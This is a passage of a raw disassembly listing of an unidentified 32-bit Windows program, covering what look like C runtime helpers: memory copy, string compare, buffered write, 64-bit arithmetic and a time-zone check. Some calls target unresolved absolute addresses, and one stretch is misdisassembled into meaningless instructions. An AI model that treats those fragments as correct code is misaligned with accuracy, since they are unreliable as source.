		jmp	off_41CDD8[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41CD6C	dd offset loc_41CDCF	; DATA XREF: sub_41CC90:loc_41CCECr
		dd offset loc_41CDBC
		dd offset loc_41CDB4
		dd offset loc_41CDAC
		dd offset loc_41CDA4
		dd offset loc_41CD9C
		dd offset loc_41CD94
		dd offset loc_41CD8C
; ---------------------------------------------------------------------------


loc_41CD8C:				; CODE XREF: sub_41CC90:loc_41CCECj
					; DATA XREF: sub_41CC90+F8o
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax


loc_41CD94:				; CODE XREF: sub_41CC90:loc_41CCECj
					; DATA XREF: sub_41CC90+F4o
		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax


loc_41CD9C:				; CODE XREF: sub_41CC90:loc_41CCECj
					; DATA XREF: sub_41CC90+F0o
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax


loc_41CDA4:				; CODE XREF: sub_41CC90:loc_41CCECj
					; DATA XREF: sub_41CC90+ECo
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax


loc_41CDAC:				; CODE XREF: sub_41CC90:loc_41CCECj
					; DATA XREF: sub_41CC90+E8o
		mov	eax, [esi+ecx*4-0Ch]
		mov	[edi+ecx*4-0Ch], eax


loc_41CDB4:				; CODE XREF: sub_41CC90:loc_41CCECj
					; DATA XREF: sub_41CC90+E4o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax


loc_41CDBC:				; CODE XREF: sub_41CC90:loc_41CCECj
					; DATA XREF: sub_41CC90+E0o
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_41CDCF:				; CODE XREF: sub_41CC90:loc_41CCECj
					; DATA XREF: sub_41CC90:off_41CD6Co
		jmp	off_41CDD8[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41CDD8	dd offset loc_41CDE8	; DATA XREF: sub_41CC90+35r
					; sub_41CC90+92r ...
		dd offset loc_41CDF0
		dd offset loc_41CDFC
		dd offset loc_41CE10
; ---------------------------------------------------------------------------


loc_41CDE8:				; CODE XREF: sub_41CC90+35j
					; sub_41CC90+92j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_41CDF0:				; CODE XREF: sub_41CC90+35j
					; sub_41CC90+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41CDFC:				; CODE XREF: sub_41CC90+35j
					; sub_41CC90+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_41CE10:				; CODE XREF: sub_41CC90+35j
					; sub_41CC90+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41CE28:				; CODE XREF: sub_41CC90+1Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_41CE5C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41CE50
		std
		rep movsd
		cld
		jmp	off_41CF70[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_41CE50:				; CODE XREF: sub_41CC90+1B1j
					; sub_41CC90+208j ...
		neg	ecx
		jmp	off_41CF20[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41CE5C:				; CODE XREF: sub_41CC90+1A6j
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_41CE74
		and	eax, 3
		sub	ecx, eax
		jmp	dword ptr loc_41CE74+4[eax*4]
; ---------------------------------------------------------------------------


loc_41CE74:				; CODE XREF: sub_41CC90+1D6j
					; DATA XREF: sub_41CC90+1DDr
		jmp	off_41CF70[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_41CE87+1
		dd offset loc_41CEA8
; ---------------------------------------------------------------------------
		ror	dh, 1
		inc	ecx


loc_41CE87:				; DATA XREF: sub_41CC90+1ECo
		add	[edx-2EDCFCBAh], cl
		mov	[edi+3], al
		dec	esi
		shr	ecx, 2
		dec	edi
		cmp	ecx, 8
		jb	short loc_41CE50
		std
		rep movsd
		cld
		jmp	off_41CF70[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41CEA8:				; DATA XREF: sub_41CC90+1F0o
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		sub	esi, 2
		sub	edi, 2
		cmp	ecx, 8
		jb	short loc_41CE50
		std
		rep movsd
		cld
		jmp	off_41CF70[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		sub	esi, 3
		sub	edi, 3
		cmp	ecx, 8
		jb	loc_41CE50
		std
		rep movsd
		cld
		jmp	off_41CF70[edx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_41CF24
		dd offset loc_41CF2C
		dd offset loc_41CF34
		dd offset loc_41CF3C
		dd offset loc_41CF44
		dd offset loc_41CF4C
		dd offset loc_41CF54
off_41CF20	dd offset loc_41CF67	; DATA XREF: sub_41CC90+1C2r
; ---------------------------------------------------------------------------


loc_41CF24:				; DATA XREF: sub_41CC90+274o
		mov	eax, [esi+ecx*4+1Ch]
		mov	[edi+ecx*4+1Ch], eax


loc_41CF2C:				; DATA XREF: sub_41CC90+278o
		mov	eax, [esi+ecx*4+18h]
		mov	[edi+ecx*4+18h], eax


loc_41CF34:				; DATA XREF: sub_41CC90+27Co
		mov	eax, [esi+ecx*4+14h]
		mov	[edi+ecx*4+14h], eax


loc_41CF3C:				; DATA XREF: sub_41CC90+280o
		mov	eax, [esi+ecx*4+10h]
		mov	[edi+ecx*4+10h], eax


loc_41CF44:				; DATA XREF: sub_41CC90+284o
		mov	eax, [esi+ecx*4+0Ch]
		mov	[edi+ecx*4+0Ch], eax


loc_41CF4C:				; DATA XREF: sub_41CC90+288o
		mov	eax, [esi+ecx*4+8]
		mov	[edi+ecx*4+8], eax


loc_41CF54:				; DATA XREF: sub_41CC90+28Co
		mov	eax, [esi+ecx*4+4]
		mov	[edi+ecx*4+4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_41CF67:				; CODE XREF: sub_41CC90+1C2j
					; DATA XREF: sub_41CC90:off_41CF20o
		jmp	off_41CF70[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_41CF70	dd offset loc_41CF80	; DATA XREF: sub_41CC90+1B7r
					; sub_41CC90:loc_41CE74r ...
		dd offset loc_41CF88
		dd offset loc_41CF98
		dd offset loc_41CFAC
; ---------------------------------------------------------------------------


loc_41CF80:				; CODE XREF: sub_41CC90+1B7j
					; sub_41CC90:loc_41CE74j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41CF88:				; CODE XREF: sub_41CC90+1B7j
					; sub_41CC90:loc_41CE74j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41CF98:				; CODE XREF: sub_41CC90+1B7j
					; sub_41CC90:loc_41CE74j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41CFAC:				; CODE XREF: sub_41CC90+1B7j
					; sub_41CC90:loc_41CE74j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
sub_41CC90	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CFC5	proc near		; CODE XREF: sub_40D78C+34p
					; sub_40D78C+4Fp ...

arg_0		= dword	ptr  4

		push	1
		push	[esp+4+arg_0]
		call	sub_41B4E7
		pop	ecx
		pop	ecx
		retn
sub_41CFC5	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CFD3	proc near		; CODE XREF: sub_41D040+4p

arg_0		= dword	ptr  4

		push	esi
		push	dword_4DCFFC
		call	sub_422608
		mov	edx, dword_4DCFFC
		pop	ecx
		mov	ecx, dword_4DCFF8
		mov	esi, ecx
		sub	esi, edx
		add	esi, 4
		cmp	eax, esi
		pop	esi
		jnb	short loc_41D032
		push	edx
		call	sub_422608
		add	eax, 10h
		push	eax
		push	dword_4DCFFC
		call	sub_41B202
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41D015
		retn
; ---------------------------------------------------------------------------


loc_41D015:				; CODE XREF: sub_41CFD3+3Fj
		mov	ecx, dword_4DCFF8
		sub	ecx, dword_4DCFFC
		mov	dword_4DCFFC, eax
		sar	ecx, 2
		lea	ecx, [eax+ecx*4]
		mov	dword_4DCFF8, ecx


loc_41D032:				; CODE XREF: sub_41CFD3+23j
		mov	eax, [esp+arg_0]
		mov	[ecx], eax
		add	dword_4DCFF8, 4
		retn
sub_41CFD3	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D040	proc near		; CODE XREF: sub_40D879+1Ap

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_41CFD3
		neg	eax
		sbb	eax, eax
		pop	ecx
		neg	eax
		dec	eax
		retn
sub_41D040	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D052	proc near		; DATA XREF: ___:0042901Co
		push	80h
		call	sub_41B4D5
		test	eax, eax
		pop	ecx
		mov	dword_4DCFFC, eax
		jnz	short loc_41D073
		push	18h
		call	sub_41DA29
		mov	eax, dword_4DCFFC
		pop	ecx


loc_41D073:				; CODE XREF: sub_41D052+12j
		and	dword ptr [eax], 0
		mov	eax, dword_4DCFFC
		mov	dword_4DCFF8, eax
		retn
sub_41D052	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D081	proc near		; CODE XREF: ___:0040DB4Cp

var_CC		= byte ptr -0CCh
var_32		= word ptr -32h
var_24		= dword	ptr -24h
var_20		= word ptr -20h
var_1E		= word ptr -1Eh
var_1A		= word ptr -1Ah
var_18		= word ptr -18h
var_16		= word ptr -16h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= word ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0CCh
		lea	eax, [ebp+var_10]
		push	eax
		nop
		call	near ptr 2770217h
		lea	eax, [ebp+var_20]
		push	eax
		call	near ptr 2860000h
		nop
		mov	ax, [ebp+var_16]
		cmp	ax, word_4DB9C2
		jnz	short loc_41D0E6
		mov	ax, [ebp+var_18]
		cmp	ax, word_4DB9C0
		jnz	short loc_41D0E6
		mov	ax, [ebp+var_1A]
		cmp	ax, word_4DB9BE
		jnz	short loc_41D0E6
		mov	ax, [ebp+var_1E]
		cmp	ax, word_4DB9BA
		jnz	short loc_41D0E6
		mov	ax, [ebp+var_20]
		cmp	ax, word_4DB9B8
		jnz	short loc_41D0E6
		mov	eax, dword_4DB9B0
		jmp	short loc_41D12B
; ---------------------------------------------------------------------------


loc_41D0E6:				; CODE XREF: sub_41D081+28j
					; sub_41D081+35j ...
		lea	eax, [ebp+var_CC]
		push	eax
		call	near ptr 2850000h
		nop
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41D113
		cmp	eax, 2
		jnz	short loc_41D10F
		cmp	[ebp+var_32], 0
		jz	short loc_41D10F
		cmp	[ebp+var_24], 0
		jz	short loc_41D10F
		push	1
		pop	eax
		jmp	short loc_41D116
; ---------------------------------------------------------------------------


loc_41D10F:				; CODE XREF: sub_41D081+7Aj
					; sub_41D081+81j ...
		xor	eax, eax
		jmp	short loc_41D116
; ---------------------------------------------------------------------------


loc_41D113:				; CODE XREF: sub_41D081+75j
		or	eax, 0FFFFFFFFh


loc_41D116:				; CODE XREF: sub_41D081+8Cj
					; sub_41D081+90j
		push	esi
		push	edi
		lea	esi, [ebp+var_20]
		mov	edi, offset word_4DB9B8
		movsd
		movsd
		movsd
		movsd
		pop	edi
		mov	dword_4DB9B0, eax
		pop	esi


loc_41D12B:				; CODE XREF: sub_41D081+63j
		push	eax
		movzx	eax, [ebp+var_4]
		push	eax
		movzx	eax, [ebp+var_6]
		push	eax
		movzx	eax, [ebp+var_8]
		push	eax
		movzx	eax, [ebp+var_A]
		push	eax
		movzx	eax, [ebp+var_E]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		call	sub_422669
		mov	ecx, [ebp+arg_0]
		add	esp, 1Ch
		test	ecx, ecx
		jz	short locret_41D15B
		mov	[ecx], eax

locret_41D15B:				; CODE XREF: sub_41D081+D6j
		leave
		retn
sub_41D081	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D160	proc near

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+arg_0]
		lea	eax, dword_4DBA0C
		cmp	dword ptr [eax+8], 0
		jnz	short loc_41D1B3
		mov	al, 0FFh
		mov	edi, edi


loc_41D17C:				; CODE XREF: sub_41D160+28j
					; sub_41D160+48j
		or	al, al
		jz	short loc_41D1AE
		mov	al, [esi]
		inc	esi
		mov	ah, [edi]
		inc	edi
		cmp	ah, al
		jz	short loc_41D17C
		sub	al, 41h
		cmp	al, 1Ah
		sbb	cl, cl
		and	cl, 20h
		add	al, cl
		add	al, 41h
		xchg	ah, al
		sub	al, 41h
		cmp	al, 1Ah
		sbb	cl, cl
		and	cl, 20h
		add	al, cl
		add	al, 41h
		cmp	al, ah
		jz	short loc_41D17C
		sbb	al, al
		sbb	al, 0FFh


loc_41D1AE:				; CODE XREF: sub_41D160+1Ej
		movsx	eax, al
		jmp	short loc_41D1E7
; ---------------------------------------------------------------------------


loc_41D1B3:				; CODE XREF: sub_41D160+16j
		mov	eax, 0FFh
		xor	ebx, ebx
		mov	edi, edi


loc_41D1BC:				; CODE XREF: sub_41D160+68j
					; sub_41D160+80j
		or	al, al
		jz	short loc_41D1E7
		mov	al, [esi]
		inc	esi
		mov	bl, [edi]
		inc	edi
		cmp	al, bl
		jz	short loc_41D1BC
		push	eax
		push	ebx
		call	sub_41D74C
		mov	ebx, eax
		add	esp, 4
		call	sub_41D74C
		add	esp, 4
		cmp	bl, al
		jz	short loc_41D1BC
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_41D1E7:				; CODE XREF: sub_41D160+51j
					; sub_41D160+5Ej
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn
sub_41D160	endp

; ---------------------------------------------------------------------------
		push	esi
		mov	esi, [esp+8]
		push	edi
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	short loc_41D268
		mov	edi, [esp+14h]
		test	edi, edi
		jz	short loc_41D20B
		cmp	edi, 1
		jz	short loc_41D20B
		cmp	edi, 2
		jnz	short loc_41D268


loc_41D20B:				; CODE XREF: ___:0041D1FFj
					; ___:0041D204j
		and	al, 0EFh
		cmp	edi, 1
		mov	[esi+0Ch], eax
		jnz	short loc_41D222
		push	esi
		call	sub_4227C5
		add	[esp+14h], eax
		pop	ecx
		xor	edi, edi


loc_41D222:				; CODE XREF: ___:0041D213j
		push	esi
		call	sub_41DB8B
		mov	eax, [esi+0Ch]
		pop	ecx
		test	al, 80h
		jz	short loc_41D237
		and	al, 0FCh
		mov	[esi+0Ch], eax
		jmp	short loc_41D24B
; ---------------------------------------------------------------------------


loc_41D237:				; CODE XREF: ___:0041D22Ej
		test	al, 1
		jz	short loc_41D24B
		test	al, 8
		jz	short loc_41D24B
		test	ah, 4
		jnz	short loc_41D24B
		mov	dword ptr [esi+18h], 200h


loc_41D24B:				; CODE XREF: ___:0041D235j
					; ___:0041D239j ...
		push	edi
		push	dword ptr [esp+14h]
		push	dword ptr [esi+10h]
		call	sub_42272B
		add	esp, 0Ch
		xor	ecx, ecx
		cmp	eax, 0FFFFFFFFh
		setnz	cl
		dec	ecx
		mov	eax, ecx
		jmp	short loc_41D275
; ---------------------------------------------------------------------------


loc_41D268:				; CODE XREF: ___:0041D1F7j
					; ___:0041D209j
		mov	dword_4DB958, 16h
		or	eax, 0FFFFFFFFh


loc_41D275:				; CODE XREF: ___:0041D266j
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41D280	proc near		; CODE XREF: sub_412B09+19Ep
					; sub_41386C+11Bp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_C]
		or	ecx, eax
		mov	ecx, [esp+arg_8]
		jnz	short loc_41D299
		mov	eax, [esp+arg_0]
		mul	ecx
		retn	10h
; ---------------------------------------------------------------------------


loc_41D299:				; CODE XREF: sub_41D280+Ej
		push	ebx
		mul	ecx
		mov	ebx, eax
		mov	eax, [esp+4+arg_0]
		mul	[esp+4+arg_C]
		add	ebx, eax
		mov	eax, [esp+4+arg_0]
		mul	ecx
		add	edx, ebx
		pop	ebx
		retn	10h
sub_41D280	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D2B4	proc near		; CODE XREF: ___:004162E4p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		imul	edi, [ebp+arg_8]
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], edi
		test	edi, edi
		mov	[ebp+arg_0], eax
		mov	ebx, edi
		jnz	short loc_41D2D8
		xor	eax, eax
		jmp	loc_41D3A5
; ---------------------------------------------------------------------------


loc_41D2D8:				; CODE XREF: sub_41D2B4+1Bj
		mov	esi, [ebp+arg_C]
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_41D2EB
		mov	eax, [esi+18h]
		mov	[ebp+arg_C], eax
		jmp	short loc_41D2F2
; ---------------------------------------------------------------------------


loc_41D2EB:				; CODE XREF: sub_41D2B4+2Dj
		mov	[ebp+arg_C], 1000h


loc_41D2F2:				; CODE XREF: sub_41D2B4+35j
					; sub_41D2B4+E8j
		mov	ecx, [esi+0Ch]
		and	ecx, 108h
		jz	short loc_41D326
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_41D326
		cmp	ebx, eax
		mov	edi, ebx
		jb	short loc_41D30C
		mov	edi, eax


loc_41D30C:				; CODE XREF: sub_41D2B4+54j
		push	edi
		push	[ebp+arg_0]
		push	dword ptr [esi]
		call	sub_41C310
		sub	[esi+4], edi
		add	[esi], edi
		add	esp, 0Ch
		sub	ebx, edi
		add	[ebp+arg_0], edi
		jmp	short loc_41D36C
; ---------------------------------------------------------------------------


loc_41D326:				; CODE XREF: sub_41D2B4+47j
					; sub_41D2B4+4Ej
		cmp	ebx, [ebp+arg_C]
		jb	short loc_41D371
		test	ecx, ecx
		jz	short loc_41D33A
		push	esi
		call	sub_41DB8B
		test	eax, eax
		pop	ecx
		jnz	short loc_41D3B3


loc_41D33A:				; CODE XREF: sub_41D2B4+79j
		cmp	[ebp+arg_C], 0
		jz	short loc_41D34D
		mov	eax, ebx
		xor	edx, edx
		div	[ebp+arg_C]
		mov	edi, ebx
		sub	edi, edx
		jmp	short loc_41D34F
; ---------------------------------------------------------------------------


loc_41D34D:				; CODE XREF: sub_41D2B4+8Aj
		mov	edi, ebx


loc_41D34F:				; CODE XREF: sub_41D2B4+97j
		push	edi
		push	[ebp+arg_0]
		push	dword ptr [esi+10h]
		call	sub_42291D
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41D3AA
		add	[ebp+arg_0], eax
		sub	ebx, eax
		cmp	eax, edi
		jb	short loc_41D3AA


loc_41D36C:				; CODE XREF: sub_41D2B4+70j
		mov	edi, [ebp+var_4]
		jmp	short loc_41D39A
; ---------------------------------------------------------------------------


loc_41D371:				; CODE XREF: sub_41D2B4+75j
		mov	eax, [ebp+arg_0]
		push	esi
		movsx	eax, byte ptr [eax]
		push	eax
		call	sub_41F58A
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41D3B3
		inc	[ebp+arg_0]
		mov	eax, [esi+18h]
		dec	ebx
		mov	[ebp+arg_C], eax
		test	eax, eax
		jg	short loc_41D39A
		mov	[ebp+arg_C], 1


loc_41D39A:				; CODE XREF: sub_41D2B4+BBj
					; sub_41D2B4+DDj
		test	ebx, ebx
		jnz	loc_41D2F2
		mov	eax, [ebp+arg_8]


loc_41D3A5:				; CODE XREF: sub_41D2B4+1Fj
					; sub_41D2B4+108j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41D3AA:				; CODE XREF: sub_41D2B4+ADj
					; sub_41D2B4+B6j
		or	dword ptr [esi+0Ch], 20h
		mov	eax, [ebp+var_4]
		jmp	short loc_41D3B5
; ---------------------------------------------------------------------------


loc_41D3B3:				; CODE XREF: sub_41D2B4+84j
					; sub_41D2B4+CFj
		mov	eax, edi


loc_41D3B5:				; CODE XREF: sub_41D2B4+FDj
		sub	eax, ebx
		xor	edx, edx
		div	[ebp+arg_4]
		jmp	short loc_41D3A5
sub_41D2B4	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D3BE	proc near		; CODE XREF: sub_416909+8p

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	[esp+arg_0]
		call	near ptr 2680C71h
		nop
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41D3DE
		nop
		call	near ptr 2680867h
		push	eax
		call	sub_4203DF
		pop	ecx


loc_41D3DA:				; CODE XREF: sub_41D3BE+3Fj
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_41D3DE:				; CODE XREF: sub_41D3BE+Dj
		test	al, 1
		jz	short loc_41D3FF
		test	[esp+arg_4], 2
		jz	short loc_41D3FF
		mov	dword_4DB958, 0Dh
		mov	dword_4DB95C, 5
		jmp	short loc_41D3DA
; ---------------------------------------------------------------------------


loc_41D3FF:				; CODE XREF: sub_41D3BE+22j
					; sub_41D3BE+29j
		xor	eax, eax
		retn
sub_41D3BE	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41D410	proc near		; CODE XREF: sub_416923+3Fp
					; sub_41A98D+24p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		push	esi
		mov	eax, [esp+8+arg_C]
		or	eax, eax
		jnz	short loc_41D432
		mov	ecx, [esp+8+arg_8]
		mov	eax, [esp+8+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+8+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_41D473
; ---------------------------------------------------------------------------


loc_41D432:				; CODE XREF: sub_41D410+8j
		mov	ecx, eax
		mov	ebx, [esp+8+arg_8]
		mov	edx, [esp+8+arg_4]
		mov	eax, [esp+8+arg_0]


loc_41D440:				; CODE XREF: sub_41D410+3Aj
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_41D440
		div	ebx
		mov	esi, eax
		mul	[esp+8+arg_C]
		mov	ecx, eax
		mov	eax, [esp+8+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_41D46E
		cmp	edx, [esp+8+arg_4]
		ja	short loc_41D46E
		jb	short loc_41D46F
		cmp	eax, [esp+8+arg_0]
		jbe	short loc_41D46F


loc_41D46E:				; CODE XREF: sub_41D410+4Ej
					; sub_41D410+54j
		dec	esi


loc_41D46F:				; CODE XREF: sub_41D410+56j
					; sub_41D410+5Cj
		xor	edx, edx
		mov	eax, esi


loc_41D473:				; CODE XREF: sub_41D410+20j
		pop	esi
		pop	ebx
		retn	10h
sub_41D410	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41D480	proc near		; CODE XREF: sub_416923+2Dp
					; sub_41A98D+3Dp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	eax, [esp+4+arg_C]
		or	eax, eax
		jnz	short loc_41D4A1
		mov	ecx, [esp+4+arg_8]
		mov	eax, [esp+4+arg_4]
		xor	edx, edx
		div	ecx
		mov	eax, [esp+4+arg_0]
		div	ecx
		mov	eax, edx
		xor	edx, edx
		jmp	short loc_41D4F1
; ---------------------------------------------------------------------------


loc_41D4A1:				; CODE XREF: sub_41D480+7j
		mov	ecx, eax
		mov	ebx, [esp+4+arg_8]
		mov	edx, [esp+4+arg_4]
		mov	eax, [esp+4+arg_0]


loc_41D4AF:				; CODE XREF: sub_41D480+39j
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_41D4AF
		div	ebx
		mov	ecx, eax
		mul	[esp+4+arg_C]
		xchg	eax, ecx
		mul	[esp+4+arg_8]
		add	edx, ecx
		jb	short loc_41D4DA
		cmp	edx, [esp+4+arg_4]
		ja	short loc_41D4DA
		jb	short loc_41D4E2
		cmp	eax, [esp+4+arg_0]
		jbe	short loc_41D4E2


loc_41D4DA:				; CODE XREF: sub_41D480+4Aj
					; sub_41D480+50j
		sub	eax, [esp+4+arg_8]
		sbb	edx, [esp+4+arg_C]


loc_41D4E2:				; CODE XREF: sub_41D480+52j
					; sub_41D480+58j
		sub	eax, [esp+4+arg_0]
		sbb	edx, [esp+4+arg_4]
		neg	edx
		neg	eax
		sbb	edx, 0


loc_41D4F1:				; CODE XREF: sub_41D480+1Fj
		pop	ebx
		retn	10h
sub_41D480	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41D500	proc near		; CODE XREF: sub_416A33+5Fp
					; sub_416A33+92p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	edi
		push	esi
		push	ebx
		xor	edi, edi
		mov	eax, [esp+0Ch+arg_4]
		or	eax, eax
		jge	short loc_41D521
		inc	edi
		mov	edx, [esp+0Ch+arg_0]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_4], eax
		mov	[esp+0Ch+arg_0], edx


loc_41D521:				; CODE XREF: sub_41D500+Bj
		mov	eax, [esp+0Ch+arg_C]
		or	eax, eax
		jge	short loc_41D53D
		inc	edi
		mov	edx, [esp+0Ch+arg_8]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_C], eax
		mov	[esp+0Ch+arg_8], edx


loc_41D53D:				; CODE XREF: sub_41D500+27j
		or	eax, eax
		jnz	short loc_41D559
		mov	ecx, [esp+0Ch+arg_8]
		mov	eax, [esp+0Ch+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+0Ch+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_41D59A
; ---------------------------------------------------------------------------


loc_41D559:				; CODE XREF: sub_41D500+3Fj
		mov	ebx, eax
		mov	ecx, [esp+0Ch+arg_8]
		mov	edx, [esp+0Ch+arg_4]
		mov	eax, [esp+0Ch+arg_0]


loc_41D567:				; CODE XREF: sub_41D500+71j
		shr	ebx, 1
		rcr	ecx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ebx, ebx
		jnz	short loc_41D567
		div	ecx
		mov	esi, eax
		mul	[esp+0Ch+arg_C]
		mov	ecx, eax
		mov	eax, [esp+0Ch+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_41D595
		cmp	edx, [esp+0Ch+arg_4]
		ja	short loc_41D595
		jb	short loc_41D596
		cmp	eax, [esp+0Ch+arg_0]
		jbe	short loc_41D596


loc_41D595:				; CODE XREF: sub_41D500+85j
					; sub_41D500+8Bj
		dec	esi


loc_41D596:				; CODE XREF: sub_41D500+8Dj
					; sub_41D500+93j
		xor	edx, edx
		mov	eax, esi


loc_41D59A:				; CODE XREF: sub_41D500+57j
		dec	edi
		jnz	short loc_41D5A4
		neg	edx
		neg	eax
		sbb	edx, 0


loc_41D5A4:				; CODE XREF: sub_41D500+9Bj
		pop	ebx
		pop	esi
		pop	edi
		retn	10h
sub_41D500	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D5AA	proc near		; CODE XREF: sub_4170ED+BFp
					; sub_4170ED+12Cp ...

var_4		= dword	ptr -4
